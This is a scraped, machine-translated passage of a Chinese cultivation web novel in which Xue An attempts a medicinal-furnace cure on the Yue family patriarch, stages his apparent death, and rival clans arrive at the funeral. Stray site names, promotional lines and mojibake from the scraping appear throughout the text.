    As soon as this statement came out, everyone''s eyes, including Yue Qinghuan, focused on Xue An.


    Because it is obvious that Cha Wenliang deliberately taught Xue An''s medical teachings.


    This can be said to be a good thing for others to dream of, but Xue An never expected that Xue An chuckled and shook his head.


    "I have been involved in the path of medicine, but I don''t want to involve too much energy. After all, there are still many important things before me, so I''m sorry..."


    Zha Wenliang sighed and interrupted Xue An directly, "Okay, you can just say that you don''t want to learn, don''t be circumspect, let alone sorry, as for his medical plan... just follow what you said! "


    Speaking of this, Zha Wenliang turned to look at the second girl, "Excuse me, do you have a cauldron?"


    "Ding furnace?"


    "Yes, it''s the kind of stove used to boil medicine!"


    "There is naturally a stove for boiling medicine, but..." The second girl was embarrassed.


    "Oh, as long as it is a stove for boiling medicine, what are you hesitating about?" Cha Wenliang obviously disliked the character of her mother-in-law, and said directly.


    In desperation, the second girl had to move out the pill furnace she used to make medicine for Yue Shifang.


    When this pill furnace appeared in front of everyone, Cha Wenliang couldn''t help being a little dumbfounded.


    "Do you usually use this to boil medicine?" Xue An couldn''t help asking. Diminish


    "Yeah!" The second girl nodded in embarrassment.


    The reason why everyone is so gaffe is because the appearance of this pill furnace is simply too weird.


    At first glance, it looks like a big bathtub, as tall as one person.


    Ao Shu circled this "Pill Furnace", then reached out and touched it, and suddenly he snorted.


    "Master, I remember you once said that if a thing looks like something, feels like it, and looks like it in all aspects, then it is that thing! So I think this pill furnace is simply a big bathtub! "


    The second girl explained in a low voice with flushed cheeks: "No way, I have used a traditional pill furnace, but the heat is too difficult to master, so I modified one myself. Such a high help wall is to prevent the liquid medicine from boiling and losing. of!"


    At this time, Cha Wenliang leaned forward, and after sniffing the smell in the Pill Sniffing Furnace, he couldn''t help but say a little bit dumbfounded.


    "A variety of medicinal materials for replenishing qi and blood are put together for refining, and thanks to this Yue Patriarch''s profound knowledge, you have long since been drunk by someone else!"


    The second girl''s face turned redder in an instant, she lowered her head and kneaded the corners of her clothes ~ www.novelhall.com ~ speechless.


    If there are other in-laws present, you will be amazed at the appearance of the second girl''s little daughter now.


    "It seems that this pill furnace is out of order, or else..." Cha Wenliang just wanted to find another pill furnace. Sacrifice as miaobifang.com


    But at this moment, Xue An suddenly said: "No, just use this pill furnace!"


    "Huh? Why?" Everyone was puzzled.


    Xue An smiled slightly, "Because I suddenly felt that although this pill furnace is not qualified for refining medicines, it is more suitable to be a bathtub!"


    Many people still didn''t understand, only Cha Wenliang looked at Xue An thoughtfully.


    "You mean..."


    "That''s right, now his energy and blood have decayed to the extreme, and ordinary medicinal stones are no longer effective. In that case, it is better to use him as a medicinal stone for sacrifice. Only with such fierce moves can it be possible to make up for him. The blood!" Xue An said lightly.


    Zha Wenliang''s eyes were brilliant and couldn''t help but ask again: "Are you sure you don''t plan to develop in the path of medicine? With your talent, it would be a shame if it was wasted like this."


    Xue An smiled swiftly, "Let''s talk about it when the time comes, now the most important thing is to cure him first!"


    All things are often like this, as long as you know what to do at each next step, it will be easier to implement. Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2335： Big trouble

    For example, now, Cha Wenliang personally wrote a prescription, and then everyone immediately began to prepare.


    Soon, all kinds of medicinal materials were ready.


    This is also due to the many medicinal materials left by the second girl when she boiled medicine in the backyard.


    But when the medicinal materials were ready, they couldn''t help but focus on Xue An.


    Xue An raised his hand and pointed at Yue Shifang, and said in a deep voice, "Now, put him in this pill furnace."


    Below the pill furnace, the flames rose into the sky, and the nearly pure white flame burned the entire pill furnace red in the blink of an eye, and the medicinal materials and rootless spiritual water added in advance also boiled.


    But the steam stopped when it was half a finger away from Yue Shifang, who was sitting in the middle of the furnace.


    Because a faint barrier blocked them.


    This is also Xue An''s handwriting.


    After all, today''s Yue Shifang is almost dead, and if he is to take the medicated bath directly, he is very likely to be burned by the hot liquid medicine.


    For this reason, Xue An deliberately attached a layer of flame curse to him.


    For Xue An, who has a different fire body and is good at controlling, this layer of flame curse can be described as simple.


    But the effect is very huge.


    For example, now, when the liquid medicine is tumbling endlessly with the increase in temperature, the scorching heat wave has even forced everyone out of the distance.


    But Yue Shifang, who was sitting in the middle, was quite calm, and even a look of enjoyment appeared on his face, and then said with a light smile.


    "It feels good, it''s like taking a bath!"


    Hearing that he was still in the mood to tease, the two girls and Yue Qinghuan felt relieved.


    Xue An smiled and said: "This is just the beginning, but you will still suffer later! I guess you won''t be able to say such easy words by then!"


    Yue Shifang laughed, "Do you think I am afraid of pain?"


    "It''s not afraid, but the feeling is more than just pain!"


    As he said, Xue An slapped a curse, and the flames under the pill furnace burst forth, completely enveloping the entire pill furnace.


    As for Yue Shifang in the pill furnace, he disappeared even more.


    Although knowing that Xue An would not harm Yue Shifang, seeing this scene, the second girl still couldn''t help but chuckle.


    As if seeing her panic, An Yan softly comforted: "Don''t be afraid, everything will be fine!"


    Cha Wenliang, who was on the side, stroked his beard and said in a calm tone: "According to this schedule, at most forty-eight hours will be enough!"


    "Does it take that long?" The second girl couldn''t help asking.


    Zha Wenliang turned his head and glanced at her, "What do you think this is? Actually, if Xue An hadn''t used this method to supplement his vitality, it would take at least a month if he had his current condition adjusted slowly. time!"


    "In this way, the liquid medicine aura was directly injected into his body, which greatly accelerated the progress, so these forty-eight hours are already a very short period of time!"


    The second girl stopped talking, but looked at the burning furnace with hope.


    No matter what, I see hope.


    The next step was a long wait. During this process, Xue Anan was concentrating on controlling the flames of the pill furnace.


    Cha Wenliang kept fine-tuning the medicinal materials that needed to be added to the pill furnace.


    The two cooperated tacitly, which accelerated the progress a little bit.


    Time passed by every minute and every second.


    In the blink of an eye, a full forty hours have passed.


    During the whole process, the second girl and Yue Qinghuan stayed close to the furnace.


    at last.


    When the time course reached a certain critical point, the pill furnace suddenly began to tremble slightly.


    Immediately afterwards, the steaming heat rushed out of the pill furnace.


    The second girl became extremely excited in an instant, "Is it coming out soon?"


    Cha Wenliang laughed, "It looks like it''s almost the same, but..."


    The voice did not fall.


    I heard Xue An suddenly shouted, "Something''s wrong!"


    These three words immediately made the audience tremble, especially the second girl, who was even more horrified.


    "What''s the matter?" she asked in a panic.


    Cha Wenliang immediately rushed to the front, his complexion also becoming extremely solemn.


    "what happened?"


    Because at this moment, the flame on the pill furnace was fading at a speed visible to the naked eye.


    Although the flame tried several times to counterattack during the whole process, it still failed.


    It was as if something irresistible was ordering these flames to disperse.


    Not only that, but an extremely depressing might suddenly appeared above the pill furnace.


    As soon as this power appeared, the suppressed audience''s chest became tight.


    As soon as Zha Wenliang opened his mouth to exclaim, at this moment, the pill furnace cracked silently.


    This is a very strange picture, because there was no sound during the whole process, but the hot liquid medicine mixed with broken pill furnace fragments and spread in all directions.


    The speed doesn''t seem fast, but it makes the space tremble. BxW


    Moreover, Cha Wenliang, the second girl and others all stood in place, and even Cha Wenliang''s floating beard stagnated in the air, as if someone had pressed the stop button on them alone at this moment.


    Seeing that the hot liquid medicine was about to reach the body, at this moment, I just listened to a cold drink.


    "Retreat!" Xiru 9bzw.com Xiru


    With an order the majestic power surged from Xue An''s body and directly collided with the shock wave.


    boom!


    The scorching heat blasted up, but it seemed as if there was a sky, blocking all the hot liquid medicine and the fragments of the pill furnace.


    The voice suddenly came out, the stop button that was pressed finally bounced back, and Cha Wenliang''s beard stagnating in the sky also floated away again.


    Then he screamed, "No, go back!"


    But as soon as the words were spoken, he noticed something strange.


    Because all the liquid medicine evaporated in front of him.


    Not only him, but even the second girl and Yue Qinghuan were aware that something was wrong.


    "How could this be? Shifang? How is he?" The second girl hissed in surprise.


    Xue An, who was a little pale, took a deep breath, and then slowly said: "Failed! But others should be fine, because this power seems to be some kind of curse, only to destroy his recovery!"


    really.


    When the mist of the liquid medicine dissipated, and when he watched the field, Yue Shi Fangzheng sat alone in the pill furnace with only the base left, his eyes closed tightly, his figure remained the same as before, and even more and more decayed.


    "Who did it?" Cha Wenliang said angrily.


    Xue An''s eyes flashed with incomparable brilliance, "It should be the hands and feet left by the existence that injured him in the first place!"


    Cha Wenliang instantly took a breath, "You mean...!"


    "Yes! It is the existence of the War of the Ancients." Xue An said coldly. Mi He Mi


    Cha Wenliang''s expression changed and he finally sighed, "If this is the case, then it will be troublesome!"


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2336： 1 bet

    "What do you mean?" asked the second girl anxiously.


    Zha Wenliang shook his head and sighed without speaking.


    "Check the genius doctor, Xue An, why are you not talking? Could it be that his injury will never be cured?" The second girl asked desperately.


    Cha Wenliang nodded.


    The second girl staggered and almost fainted to the ground.


    Yue Qinghuan hurriedly stepped forward to help, and the second girl barely stood still, but her face was pale as white paper, and she whispered softly.


    "No, this is impossible, there must be a way to cure him! There must be, right Xue An? Answer me!"


    Yue Qinghuan wanted to explain, but her face was also covered with tears at the moment.


    Seeing this scene, An Yan and Ao Shu were all silent.


    On the contrary, Yue Shifang, who was not far away, slowly opened his eyes and said with a smile.


    "Okay, second girl, don''t be so sad, am I okay with this now? The big deal is to try to reincarnate once more!"


    But everyone knows that this is just him comforting the second girl.


    Because what Zha Wenliang said just now, he understands that with his current state, it is very likely that he will not be able to survive another military reincarnation.


    The second girl naturally understood this, so she couldn''t say anything.


    But at this moment, Xue An suddenly stepped up to Yue Shifang and looked at him with staring eyes.


    "Dare you gamble?"


    "How to bet?"


    "Don''t worry about the bet, I''ll ask if you dare! If the bet is successful this time, not only your injury can be cured, but you may also wipe out all the hidden dangers in the military, but if it fails..."


    Before Xue An could finish speaking, Yue Shi said directly: "Needless to say, I choose to gamble!"


    Xue An also didn''t expect that Yue Shifang would agree so readily, so he raised his eyebrows slightly, "Don''t think about it anymore?"


    Yue Shifang smiled freely, "There is nothing to consider, is there any better choice in my current state? Rather than just sit and wait for death, it is better to fight to the death. If this is the case, there may be a ray of life."


    "Well, if that''s the case, then we will join hands to make a gamble!" Xue An said in a deep voice.


    After that, he turned to look at Zha Wenliang and others.


    "Come here, please, some things require your cooperation!"


    At this moment, Cha Wenliang, Er Girl and the others are simply stunned.


    Because they had no idea what Xue An was planning to do, they immediately stepped forward after hearing what Xue An said.


    "What do I need to do?" Cha Wenliang asked first.


    Xue An smiled, "It''s very simple!"


    After speaking, a message passed with divine thoughts.


    Cha Wenliang was taken aback for a moment, then he showed a stunned look, and then took a deep look at Xue An.


    "that''s all?"


    "that''s all!"


    "Okay, I will cooperate with you to complete it, but I can''t guarantee the final result!"


    After speaking, Cha Wenliang turned and left.


    Then Xue An instructed the two girls and Yue Qinghuan separately.


    The two girls all looked surprised, but finally nodded.


    "Understood, we will prepare now."


    After all the relevant matters have been dealt with.


    Xue An turned his head and said to Yue Shifang: "Okay, it''s your turn next!"


    Yue Shifang already knew Xue An''s plan at this time and couldn''t help but chuckle, "Xue An, in fact, you are really suitable to be a strategist who plays with the situation!"


    "Are you trying to say that I am a conspirator?"


    "Haha, that''s not true, and conspiracy is not a derogatory term, at least not among soldiers!"


    Xue An also laughed, and then faintly said: "Okay, you start to prepare too, after all, you are the absolute protagonist of the next play, I hope you don''t play it!"


    "Don''t worry, I believe that no one in the entire sky will understand death better than me!"


    Xue An nodded, "I hope!"


    After speaking, he also turned and left.


    Although he couldn''t see it, after Xue An''s footsteps left, Yue Shifang suddenly let out a sigh of relief, and then said with a faint smile.


    "Is this to hide from the sky? Xue An, compared to a conspirator, you should actually become a strategist!"


    This is the thirteenth day that Yue Junze has been guarding in front of the backyard.


    Looking at the empty courtyard gate, Yue Junze''s heart was filled with mixed feelings.


    As a leader of the Yue family''s current younger generation, second only to Yue Qinghuan, he is very aware of the dangerous situation that the Yue family is facing now.


    Don''t look at the Yue family''s victory in the martial arts conference under the leadership of Xue An, but this brief glory can''t dispel the shadow of Patriarch Yue Shifang''s serious injury.


    After all, for any branch of the family, the Patriarch is the spiritual sustenance of the entire family, and the existence of Dinghai Shenzhen.


    Especially the top combat power of the Yue family today is extremely scarce, and almost no one except Yue Shifang can provoke the main beam. This will also lead to the embarrassment that the entire Yue family will not have superpowers to sit down once Yue Shifang is reincarnated. situation.


    And this situation is almost fatal when the Long Family and Sima Family are eyeing each other.


    Therefore, the atmosphere surrounding the entire Yue family will be so solemn now.


    Everyone understands that once Yue Shifang leaves, the Yue family will be tested like never before.


    Yue Junze''s heart is even more heavy, because his father Yue Hechang said to him clearly.


    Prepare for the worst in advance!


    Doesn''t this prove that the Patriarch''s injury has reached the point where it is irreparable?


    In addition, Yue Qinghuan followed Xue An to Luoshengu to ask for a ghost doctor who has never returned.


    All this cast a thick shadow on Yue Junze''s heart.


    But at this moment, there was a commotion in the front yard of UU reading .


    Yue Junze frowned slightly, "Go and see what''s going on? Why is it so noisy in front of you?"


    "Yes!"


    Immediately some of his subordinates tried to go to the front to see what happened.


    But before this subordinate walked out of the backyard, someone happily ran over.


    "It''s Miss San! Miss San and Mr. Xue are back!"


    "What?" Yue Junze was also overjoyed when he heard the words, "Can you please go back to that ghost needle doctor?"


    "Please come back!"


    Yue Junze was overjoyed and immediately cleaned up his clothes before going to meet him.


    At this moment, Xue An and his party hurriedly arrived.


    "Mr. Xue!" Yue Junze immediately stood still and shouted respectfully. Sacrifice like lolxsw.com sacrifice like


    But Xue An didn''t stop at all, just nodded slightly, and then hurriedly walked to the front of the backyard.


    Yue Junze just wanted to remind Xue An that the entire backyard had been sealed by the second girl with a light curtain.


    But before he could speak, the light curtain dissipated like water mist, and then the second girl appeared in front of the door.


    "came back?"


    "Well! I''m back!" Xue An said with a serious face, "Can the Patriarch be here?"


    "Just behind!" Mi He Mi


    "The genius doctor Cha has been invited!"


    "Then come in soon!"


    After just a few words, the two girls immediately let Xue An and Zha Wenliang''s group into the backyard.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2337： Yue Family Funeral

    And before he left, Xue An did not forget to tell Yue Junze, "Be optimistic about the courtyard gate, no one can enter without my permission!"


    "Yes!" Yue Junze responded immediately.


    Soon, the courtyard gate became empty.


    But Yue Junze''s heart became hot, and the haze accumulated before was swept away.


    Mr. Xue came back with the famous Ghost Needle genius doctor. Now the Patriarch is saved!


    Thinking of this, Yue Junze couldn''t help being overjoyed.


    At the same time, Yue Hechang and many elders also arrived after hearing the news.


    "What''s the matter?" Yue Hechang asked.


    Yue Junze immediately recounted the matter, and then said excitedly: "Mr. Xue and the genius doctor of Ghost Needle have been in just now. I believe there will be good news soon!"


    Hearing this, Yue Hechang and many elders couldn''t help but let out a sigh of joy.


    "This is great!"


    "Yeah! Mr. Xue is really amazing, he actually invited Cha Wenliang, who is known for his weird temper!"


    "Patriarch is saved!"


    People were talking excitedly, no one left, but all stood in front of the backyard looking forward to it.


    Time passed by every minute and every second.


    Soon, it got dark, and someone held up a lantern to light the entire backyard like daylight.


    But at this moment, I heard a muffled noise from behind the backyard door.


    Immediately afterwards, there was a faint cry of crying. Sacrifice as wanbar.net Sacrifice as


    "Shi Fang..."


    As soon as this shout came out, everyone present couldn''t help but change their colors.


    The previous joy was gone, replaced by solemn and suspicious faces.


    "What''s the matter?" Yue Hechang asked in surprise.


    "I don''t know! I guess... I guess I heard it wrong!" Yue Jun Zeqiang explained with a smile.


    But he didn''t even believe this excuse.


    An ominous hunch surged into the hearts of everyone present.


    All previous discussions have disappeared.


    Everyone waited tremblingly.


    Waiting for the final news.


    at last!


    A group of people walked out behind the courtyard gate.


    Xue An accompanied Cha Wenliang out with a solemn expression, and then Cha Wenliang stood in shape.


    "I''m sorry, Patriarch Yue''s injury is too serious. Please forgive the old man for not having the power to recover, and Master Xue, please be sorry!"


    This sentence really seemed like a blockbuster, and everyone on the scene was dumbfounded.


    Xue An''s face was as solemn as iron, and he nodded lightly, "There is a genius Laocha!"


    "Hey, let''s go!" Zha Wenliang sighed, and then led Ao Shu to fly up, disappearing into the sky in the blink of an eye.


    After he left, Xue An glanced at these people present.


    Yue Hechang immediately stepped forward and asked with a pale face: "Xue...Xue An, what''s the matter inside? Patriarch him...what''s wrong with him?"


    Xue An lowered his head and said in a low tone: "The Patriarch''s injury is too serious, and Cha Wenliang is helpless!"


    "What do you mean?" Yue Hechang felt that his teeth were shaking.


    "That means Patriarch Yue... is dead!"


    dead!


    As soon as the word came out, it was like a shocking thunder, and everyone in the shock trembled.


    "Impossible! How could the Patriarch die? Even if his body collapses, he can still be reincarnated!" Yue Junze shouted hoarsely.


    correct!


    This sentence reminded many people.


    Patriarch��s injury is not a day away, even if the injury is too serious, he can be reincarnated by soldiers!


    But Xue An shook his head at this time, "It''s useless, this time the injury came too fast, and even the Patriarch''s consciousness and soul have completely collapsed, so... there is no chance for the soldiers to reincarnate! "


    The audience was deadly quiet.


    Everyone''s eyes became dull.


    Who would have thought that the Patriarch who had sheltered the Yue family for thousands of years would have left like this.


    Suddenly!


    Someone plopped and fell to the ground, opening their mouths and crying.


    In a moment, everyone knelt down toward the backyard.


    "Patriarch!"


    The sound is like weeping blood, which is unbearable to hear.


    But Yue and Chang still had the last glimmer of hope in their hearts.���bXwX.C*O*��


    I saw him shaking and asking: "Then... where is the body of the Patriarch? I want to see him!"


    Xue An nodded, "It''s in the backyard, come in!"


    With that, Xue An turned and walked into the backyard.


    Yue Hechang and the others immediately followed.


    After crossing the gate of the courtyard, the first thing that caught everyone''s eyes was the withered flowers and plants in the courtyard.


    You know that the flower halls of the past are always in full bloom.


    But at this moment, it has become withered.


    In the middle of the flower hall, there is a wooden bed with a person lying quietly on it.


    There were two people kneeling beside the wooden bed.


    It was the second girl and Yue Qinghuan.


    At this moment, they have changed into white robes, and even wear heavy filial piety on their heads.


    The white is so dazzling.


    After seeing this scene, Yue Hechang felt black before his eyes and almost fell to the ground.


    Yue Junze hurriedly supported him, but Yue Hechang struggled to break free, then rushed to the wooden bed, plopped and knelt to the ground, roaring with tears.


    "Patriarch!"


    This roar caused everyone in the audience to cry instantly.


    White!


    As far as I can see, anywhere you can see, UU reading is dazzling white.


    The entire Yue family headquarters became quiet, and a sad atmosphere enveloped everyone.


    Yue Shifang is dead!


    This news was like a blockbuster that caught the entire Yue family by surprise.


    Those who were on the mission immediately left everything at hand and hurried back.


    When they saw the white elegiac couplet hanging high in front of the door, almost all of them slumped to the ground, and some even vomited a big mouthful of blood.


    Because Yue Shifang is the spiritual pillar of the entire Yue family!


    Thousands of years have already made him inseparable from the Yue family.


    I thought this time would go on forever, but no one expected it would come to an abrupt end at this time.


    The backyard had already erected a high spiritual shed. The second girl and Yue Qinghuan were wearing heavy filial piety, kneeling on the left and right, seemingly crying dry.


    And at this moment, the news of Yue Shifang''s death spread even more like a hurricane.


    The first to learn the news were the Long Family and the Sima Family who had been closely following the movements of the Yue Family.


    To be honest, when they first heard the news, Long Yushu and Sima Chongchao couldn''t believe it anyway.


    After all, it was too sudden.


    But with all kinds of news coming, especially when they heard that Cha Wenliang had done it himself but failed to save Yue Shifang, the two couldn''t help but become dubious.


    "Could it be that Yue Shifang is really dead?" Long Yushu asked, frowning.


    "I think it''s impossible, there must be fraud in this!" Sima Chongchao said in a deep voice.


    "But the news is so conclusive, it seems to be true! How about we go to the house and have a look?" Mi He Mi


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2338： Worship

    "Come and see? What do you think? Don''t you know that the Yue family hates us now?" Sima Chongchao said coldly.


    "Hehe, it is natural to see it in the name of the memorial. At this time, they can''t shut out those who go to the memorial!" Long Yushu smiled.


    Sima Chongchao was silent.


    He was suspicious and cautious by nature, so after hearing the news, he always felt that there was fraud.


    Long Yushu said indifferently: "Patriarch Sima, you must know that you and I both have a **** feud with the Yue family, are you just watching the opportunity missed like this?"


    "Now let''s explore the truth. If the Yue family is really cheating, then let''s leave directly, but if it is true..."


    A cruel smile appeared on Long Yushu''s face, "When Yue Shifang is dead, isn''t the Yue family a piece of fat? And if we can take the lead..."


    Long Yushu did not finish the following words, but the meaning was already obvious.


    And it was these words that moved Sima Chongchao, and he finally made up his mind and nodded, "Okay, then let''s go this time!"


    At the same time, not only the Long Family and the Sima Family, but other families in the Twelfth Branch of the Military Family also received the news.


    Their responses varied.


    Gu family.


    Gu Wangya stood up suddenly, and said with horror on his face: "What did you say? Yue Shifang is dead?"


    The informant bowed his head and said: "Yes, the news just received!"


    "How is it possible that Yue Shifang is the only existence in the military strategist who has power beyond the saints. He has lived for tens of thousands of years. How could he leave so suddenly?" Gu Wangya still couldn''t believe it.


    "The news has been confirmed, at least from now it seems that Yue Shifang is indeed dead, because someone just saw that the ghost needle genius doctor who fell in the valley of the gods has left!"


    Gu Wangya fell into a chair and remained silent for a long time.


    Although they belong to different branches, they are all soldiers, especially Yue Shifang is still the only remaining power of that era. Now his sudden departure naturally makes Gu Wangya feel at a loss.


    At this time, many heads of Gu''s family have also rushed to hear the news.


    "Patriarch, what do we do now? It is said that the two Patriarchs of the Long Family and the Sima Family have already got up and went to the Yue Family to pay homage to them. Should we do something too?" A big head asked.


    Only then did Gu Wangya wake up, and then said with a complex expression: "The Long Family and the Sima Family have gone?"


    "Yes!"


    "These guys are really unrepentant!" Gu Wangya snorted coldly, then stood up and ordered in a deep voice.


    "Armor!"


    With an order, someone immediately walked in with Gu Wangya''s armor.


    Gu Wangya was dressed neatly, but instead of putting on a red cloak this time, she put on a plain coat, and said.


    "As a military strategist, when Yue Shifang falls, I will also go to worship and give my order. All the people in charge are dressed in plain clothes and go with me!"


    "Yes!"


    The whole Gu family moved after hearing the wind.


    And Zhong Lijia is no exception.


    �� minus bxw ��. At this moment, Zhong Li Wuwang was walking up and down the room with a solemn face, a dull aura enveloped the whole room.


    Everyone dared not speak.


    Until a long time later, Zhong Li Wuwang stood still and sighed, "It''s a pity that a generation of heroes actually ended up like this. If you go, the Yue family, who has just had a ZTE attitude, is about to fall! "


    With the voice floating in the air, an elder of Zhongli''s house couldn''t help but stepped forward and said: "Master in charge, now the people of other families are preparing to go to worship, shall we also go to worship? "


    "Worship? Of course! Of course we have to go and worship!" Zhong Li Wuwang''s face showed a cold smile, and then asked.


    "Have the Long family and Sima family gone?"


    "Well! According to the news, they were the first to leave!"


    "Then we are also ready to leave! After all, how can we be away from home without such a big excitement!"


    Song family.


    Sacrifice such as xindingdianxsw.com. Song Yuze looked at the elders of the Song family who were expressing their opinions in the hall and couldn''t help but pat the table.


    "enough!"


    This deep shout made the audience quiet down instantly, and all eyes were focused on him.


    Song Jianmu, the head of the Song family, Song Yuze''s father, couldn''t help asking, "What''s the matter?"


    "Father, the child thinks that the situation is unknown at this time, and there is no point in arguing about gains and losses!"


    "Oh? How about you?" Song Jianmu asked in a deep voice with his eyes flashing.


    "According to the child''s opinion, you should go to the Yue family to worship first, and find out whether this matter is true or false by the way!"


    "After all, Yuqing, we are both descendants of the military family, and that Yue Shifang is a predecessor who existed in ancient times. It is reasonable to go to worship. Yu Li''s fall will inevitably cause turbulence in the military family. Our Song family''s strength is biased. Weak, we should explore the emptiness and reality early, and make preparations early!"


    Song Yuze''s clear intonation, and his well-organized voice caused everyone to nod their heads.


    Song Jianmu smiled and nodded, "Very good! In that case, let you do this thing!"


    "Yes!"


    Song Yuze bowed his hand, then turned and left to prepare. UU Reading www.uukanshu.c��m


    At the same time, the Tao family, Bai family, Lu family and other families also moved by the wind.


    But all the families unanimously sent their missions to the Yue Family to worship.


    Suddenly, the soldiers who had been calm for a long time finally boiled up because of this.


    As the first family to leave, Long Yushu and Sima Chongchao were naturally the first Yue family to arrive.


    After seeing the tall elegiac couplet in front of the Yue family, Long Yushu and Sima Chongchao couldn''t help but raised their eyebrows slightly and looked at each other.


    The meaning in the eyes is very obvious.


    Could it be that Yue Shifang is really dead?


    Holding this question, the two came to the door.


    Naturally there was a guard in front of the door, and Long Yushu and Sima Chongchao gave white greeting stickers.


    Then he heard a desolate and sad voice resounding through the entire Yue family headquarters.


    "Long Yushu, Patriarch of the Long Family, Sima Chongchao, Patriarch of the Sima Family, come to worship!"


    The sound shook the sky, and then someone stepped forward to lead them inside.


    Along the way, what Long Yushu and Sima Chongchao saw were all white.


    Everyone in the Yue family is wearing heavy filial piety, and their faces are full of sadness.


    This undoubtedly deepens the doubts in their hearts, because if this is really a setting, the price would be too great.


    Soon, the two of them came to the atrium where the coffin was parked.


    Here is the bleak and gloomy layout.


    Kneeling around the coffin was full of people.


    When the two of them walked in, many people raised their heads and looked at them, with anger in their eyes.


    Mi He Mi. Because everyone knows that they are definitely not pure worship here, and it is even possible that they are here to hide evil intentions.


    Nevertheless, they can only suppress the anger in their hearts.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2339： Rushing

    Because on this special occasion, even if there is any kind of deep hatred, as long as the other party comes to worship, it can''t happen.


    At this time, Long Yushu winked at Sima Chongchao, and then the two of them took up three pillars of Qingxiang and worshiped in the air, and walked towards the coffin.


    When they got to the front of the coffin, the two saw Yue Shifang lying on it at a glance.


    At this moment, Yue Shifang, lying quietly on the coffin, was skinny and skinny, and his eye sockets were sunken deep, like two black holes, which made people fearful.


    There was a thump in the hearts of the two of them, and they all showed joy in the depths of their eyes.


    Because they can clearly perceive that Yue Shifang has no vitality in his body, which means that he is really dead.


    With their cultivation as the realm, no one can hide their eyes, so after confirming this fact, the two of them couldn''t help but ecstatic.


    However, on this occasion, they still barely suppressed the joy in their hearts, pretending to be sad.


    "House Master Yue, I really didn''t expect you to pass away so suddenly, it''s really embarrassing!" Long Yushu sighed.


    Sima Chongchao wiped away the non-existent tears at the corner of his eyes.


    Although they are full of prejudice against Long Yushu and Sima Chongchao, they come to worship in front of the coffin, and the two girls who are suffering masters and Yue Qinghuan must pay back.


    So the two of them turned sideways and nodded at them.


    "Thank you for the two Patriarchs for coming to worship!" The second girl said in a low tone.


    Long Yushu was okay, he nodded, "It''s too polite, please let me down."


    Sima Chongchao did not speak, because at this moment, after seeing the second girl in white and Yue Qinghuan, his eyes were almost shining.


    As the saying goes, if you want to be pretty filial.


    The second girl and Yue Qinghuan were originally the postures of heaven and human beings, coupled with the white clothes of the present body, and tears on their faces, they described the appearance of haggard.


    The superposition of the two makes their charm grow exponentially.


    Sima Chongchao had always liked female sex, but now seeing such two glamorous women, he couldn''t help but feel a little unable to walk.


    And such naked eyes were naturally felt by Yue Qinghuan.


    Decrease bxWx.co. She frowned slightly, and then gently tugged the second girl.


    The two turned and knelt down in front of the coffin again, and stopped talking.


    But the more so, the more itchy Sima Chongchao became intolerable, especially now that Yue Shifang is dead, in his opinion, there is no one in the entire Yue family who can check and balance himself.


    In this case, I saw him chuckle.


    "The Long Patriarch is right, the dead are gone, and the living still need to face it firmly!"


    "Thank you!" The second girl naturally noticed Sima Chongchao''s unpredictable intentions, so she didn''t even turn her head back, but said coldly.


    But Sima Chongchao, who had touched a soft nail, was not ready to give up, so he continued to laugh.


    "Speaking of seniority, I will still be your elders. Now that the Yue family has undergone major changes, I am naturally responsible, but I don''t know what the two girls need to do? I can do it for you!"


    "There is Patriarch Laosima, but we don''t need anything!" The second girl said coldly.


    At this time, the people around also noticed that something was wrong, and they couldn''t help glaring at Sima Chongchao.


    But for Sima Chongchao, who was already fascinated and stunned, these "chicken and dog" gazes were not worth paying attention to.


    He rolled his eyes and just wanted to say something.


    Sacrifice such as miaobifang.com sacrifice such as. At this moment, I heard a shout from the front.


    "Gu family is in charge!"


    Following the voice, I saw a group of women dressed in plain white clothes walking into the field, and the leader was Gu Wangya, the leader of the Gu family.


    Her appearance caused Sima Chongchao to swallow back the words that followed.


    Because he can''t openly molested the widow of the Yue family in front of other families!


    However, he did not leave, but stood aside with Long Yushu, waiting for an opportunity.


    Gu Wangya naturally noticed them too, but she didn''t see it at all. Instead, she walked to the coffin with a serious expression, respectfully put on the three-pillar fragrance, and then bowed and bowed with a solemn expression.


    This is different from the worship of Long Yushu and Sima Chongchao just now. Gu Wangya''s actions are entirely from the respect of his heart, so he is very serious.


    After the ceremony was over, she stepped forward to the coffin.


    At this time, the second girl and Yue Qinghuan had already turned around and were ready to pay the gift, but they were stopped by her, and then said with sad expressions on their faces.


    "It doesn''t have to be so, and don''t be too sad! After all, the departure of the Yue family is not willing to see."


    The second girl''s heart warmed, knowing that Gu Wangya was here to worship sincerely, so she nodded.


    At this time, Gu Wangya glanced sideways at Long Yushu and Sima Chong in the distance, and said in a low voice.


    "The purpose of their coming here is obviously not that simple, but your Yue family is now alone and lonely. You must not act rashly. If necessary, the Gu family can help!"


    Regardless of whether this sentence is true or false, as long as Gu Wangya can say so, the second girl and Yue Qinghuan will be very grateful.


    Therefore, the second girl nodded gently, "Thank you for the kindness of the military commander Gu. No matter what they mean by coming here, my Yue family will not be afraid!"


    Gu Wangya nodded, then got up and walked aside, but did not leave. UU reading www.uuk��nshu.com


    Long Yushu and Sima Chongchao sneered in their hearts, but they didn''t show anything.


    The person who rushed to Zhongli''s house immediately followed.


    When Zhong Li Wuwang walked in, he thumped and knelt down in front of the coffin.


    This kneeling also shocked many people.


    You know, the soldier in charge of Zhongli''s house is notoriously tired and difficult!


    But now suddenly fell to his knees, what does this mean?


    Zhong Li Wuwang ignored the gazes of others at all, and after earnestly bowing his head, he stood up and said something.


    "Patriarch Yue, you are a hero of the whole life, you can deserve my kneeling by Zhong Li Wuwang!"


    As soon as this remark came out, many Yue family members couldn''t help crying.


    Naturally, the second girl and Yue Qinghuan would also pay courtesy.


    I saw them and many members of the Yue family one after another turning around, kneeling down at Zhong Li Wuwang in return.


    Zhong Liwuwang stepped aside, then waved his hand, "You don''t have to fiddle with these red tapes! I can''t bear it!"


    As he said, his eyes patrolled the audience, and when he saw Long Yushu and Sima Chongchao, he couldn''t help but snorted coldly.


    Then he said slowly: "Hey, why isn''t the soldier in charge of Xue Anxue from your house here?"


